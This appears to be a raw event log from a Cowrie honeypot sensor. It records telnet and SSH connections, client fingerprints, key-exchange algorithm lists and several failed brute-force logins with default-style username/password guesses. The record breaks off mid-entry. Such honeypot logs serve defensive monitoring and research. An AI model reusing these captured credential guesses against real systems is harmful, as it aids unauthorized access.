{"eventid":"cowrie.session.closed","duration":120.0010175704956,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:43.973252Z","src_ip":"150.228.157.235","session":"1f2901db15bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78196835517883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:44.673095Z","src_ip":"162.253.42.116","session":"2aeb57cd0734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.797877073287964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:47.272834Z","src_ip":"162.253.42.116","session":"0c0e86f5ecb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24226975440979,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:53.704530Z","src_ip":"208.82.116.131","session":"4a31c1475a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.148.20","src_port":51984,"dst_ip":"159.203.135.109","dst_port":23,"session":"120fc5ba7ded","protocol":"telnet","message":"New connection: 172.105.148.20:51984 (159.203.135.109:23) [session: 120fc5ba7ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:00.612263Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43116,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba15607f60b","protocol":"ssh","message":"New connection: 159.203.92.129:43116 (159.203.135.109:22) [session: 1ba15607f60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:07.552387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:07.557515Z","src_ip":"159.203.92.129","session":"1ba15607f60b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:07.561460Z","src_ip":"159.203.92.129","session":"1ba15607f60b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"amax123","message":"login attempt [amax/amax123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:07.573549Z","src_ip":"159.203.92.129","session":"1ba15607f60b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:08.579357Z","src_ip":"159.203.92.129","session":"1ba15607f60b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43026,"dst_ip":"159.203.135.109","dst_port":23,"session":"373bcca180ac","protocol":"telnet","message":"New connection: 80.252.221.197:43026 (159.203.135.109:23) [session: 373bcca180ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:09.885782Z"}
{"eventid":"cowrie.session.closed","duration":33.43359088897705,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:16.024042Z","src_ip":"104.248.46.74","session":"07fcc6f3de8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.30629253387451,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:16.519686Z","src_ip":"208.82.116.131","session":"56b4adfa442f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.85716223716736,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:16.746896Z","src_ip":"208.82.116.131","session":"31156daf17c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.788790464401245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:32.400921Z","src_ip":"172.105.148.20","session":"120fc5ba7ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a78c64c0ae51","protocol":"telnet","message":"New connection: 162.253.42.116:33744 (10.17.0.5:23) [session: a78c64c0ae51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:41.127643Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48098,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aa71efcf82c","protocol":"telnet","message":"New connection: 104.248.46.74:48098 (159.203.135.109:23) [session: 5aa71efcf82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:41.459978Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbddb795b23e","protocol":"telnet","message":"New connection: 104.248.46.74:48454 (159.203.135.109:23) [session: bbddb795b23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:43.056601Z"}
{"eventid":"cowrie.session.closed","duration":36.938873052597046,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:46.824539Z","src_ip":"80.252.221.197","session":"373bcca180ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8333feea30","protocol":"ssh","message":"New connection: 159.203.92.129:39520 (159.203.135.109:22) [session: ac8333feea30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:51.843737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:51.848094Z","src_ip":"159.203.92.129","session":"ac8333feea30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:51.858094Z","src_ip":"159.203.92.129","session":"ac8333feea30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amazon","password":"amazon","message":"login attempt [amazon/amazon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:51.869448Z","src_ip":"159.203.92.129","session":"ac8333feea30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:52.874551Z","src_ip":"159.203.92.129","session":"ac8333feea30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"2934a748ea9d","protocol":"telnet","message":"New connection: 149.28.165.80:45402 (10.17.0.5:23) [session: 2934a748ea9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:58.682440Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":45400,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a18d76955b","protocol":"telnet","message":"New connection: 149.28.165.80:45400 (10.17.0.5:23) [session: 77a18d76955b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:43:59.662378Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8e083fcbe7","protocol":"telnet","message":"New connection: 208.82.116.131:37346 (159.203.135.109:23) [session: 6a8e083fcbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:06.496492Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":37374,"dst_ip":"159.203.135.109","dst_port":23,"session":"669b2fdeabd1","protocol":"telnet","message":"New connection: 208.82.116.131:37374 (159.203.135.109:23) [session: 669b2fdeabd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:06.554268Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":49736,"dst_ip":"10.17.0.5","dst_port":22,"session":"17b070ff098e","protocol":"ssh","message":"New connection: 45.78.194.242:49736 (10.17.0.5:22) [session: 17b070ff098e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:07.417397Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36800,"dst_ip":"10.17.0.5","dst_port":23,"session":"192528142fe5","protocol":"telnet","message":"New connection: 162.253.42.116:36800 (10.17.0.5:23) [session: 192528142fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:08.015931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:08.373664Z","src_ip":"45.78.194.242","session":"17b070ff098e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:08.378175Z","src_ip":"45.78.194.242","session":"17b070ff098e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"010203","message":"login attempt [postgres/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:10.043058Z","src_ip":"45.78.194.242","session":"17b070ff098e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc054488ad0","protocol":"telnet","message":"New connection: 104.248.46.74:55056 (159.203.135.109:23) [session: 4fc054488ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:10.247902Z"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:11.292222Z","src_ip":"45.78.194.242","session":"17b070ff098e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58786,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf212d37feb","protocol":"telnet","message":"New connection: 149.28.165.80:58786 (10.17.0.5:23) [session: 3cf212d37feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:11.591842Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58792,"dst_ip":"10.17.0.5","dst_port":23,"session":"610819fecf21","protocol":"telnet","message":"New connection: 149.28.165.80:58792 (10.17.0.5:23) [session: 610819fecf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:11.686842Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58784,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4dabc1d0292","protocol":"telnet","message":"New connection: 149.28.165.80:58784 (10.17.0.5:23) [session: f4dabc1d0292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:13.806107Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58812,"dst_ip":"10.17.0.5","dst_port":23,"session":"6094feb5db2d","protocol":"telnet","message":"New connection: 149.28.165.80:58812 (10.17.0.5:23) [session: 6094feb5db2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:15.250917Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58828,"dst_ip":"10.17.0.5","dst_port":23,"session":"09c8c23bd0d0","protocol":"telnet","message":"New connection: 149.28.165.80:58828 (10.17.0.5:23) [session: 09c8c23bd0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:15.350724Z"}
{"eventid":"cowrie.session.closed","duration":34.20271348953247,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:15.662576Z","src_ip":"104.248.46.74","session":"5aa71efcf82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58802,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f249638996","protocol":"telnet","message":"New connection: 149.28.165.80:58802 (10.17.0.5:23) [session: 40f249638996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:16.047015Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58840,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e54ebc78eaf","protocol":"telnet","message":"New connection: 149.28.165.80:58840 (10.17.0.5:23) [session: 8e54ebc78eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:16.090434Z"}
{"eventid":"cowrie.session.closed","duration":35.64302086830139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:16.770430Z","src_ip":"162.253.42.116","session":"a78c64c0ae51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":58842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4345f219378a","protocol":"telnet","message":"New connection: 149.28.165.80:58842 (10.17.0.5:23) [session: 4345f219378a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:17.609681Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51952,"dst_ip":"10.17.0.5","dst_port":23,"session":"2491d6447b16","protocol":"telnet","message":"New connection: 149.28.165.80:51952 (10.17.0.5:23) [session: 2491d6447b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:19.519342Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e31538d3d96","protocol":"telnet","message":"New connection: 149.28.165.80:51954 (10.17.0.5:23) [session: 3e31538d3d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:19.676990Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51964,"dst_ip":"10.17.0.5","dst_port":23,"session":"031066de3dbc","protocol":"telnet","message":"New connection: 149.28.165.80:51964 (10.17.0.5:23) [session: 031066de3dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:22.990096Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee336c4ad9e5","protocol":"telnet","message":"New connection: 149.28.165.80:51966 (10.17.0.5:23) [session: ee336c4ad9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:24.174064Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"da321c34cfe2","protocol":"telnet","message":"New connection: 149.28.165.80:51982 (10.17.0.5:23) [session: da321c34cfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:24.259193Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c46e5d3a8b","protocol":"telnet","message":"New connection: 149.28.165.80:51988 (10.17.0.5:23) [session: 30c46e5d3a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:28.486463Z"}
{"eventid":"cowrie.session.closed","duration":30.514232635498047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:29.196584Z","src_ip":"149.28.165.80","session":"2934a748ea9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40428,"dst_ip":"10.17.0.5","dst_port":23,"session":"8864a2125e08","protocol":"telnet","message":"New connection: 149.28.165.80:40428 (10.17.0.5:23) [session: 8864a2125e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:30.317379Z"}
{"eventid":"cowrie.session.closed","duration":31.243055820465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:30.905322Z","src_ip":"149.28.165.80","session":"77a18d76955b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e8dc5f7eb1","protocol":"telnet","message":"New connection: 149.28.165.80:40440 (10.17.0.5:23) [session: 42e8dc5f7eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:31.726198Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34952,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7b6ade768d","protocol":"telnet","message":"New connection: 162.253.42.116:34952 (10.17.0.5:23) [session: 8a7b6ade768d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:32.956716Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56876,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e93c968e2e","protocol":"ssh","message":"New connection: 159.203.92.129:56876 (159.203.135.109:22) [session: b4e93c968e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:34.316926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:34.321249Z","src_ip":"159.203.92.129","session":"b4e93c968e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25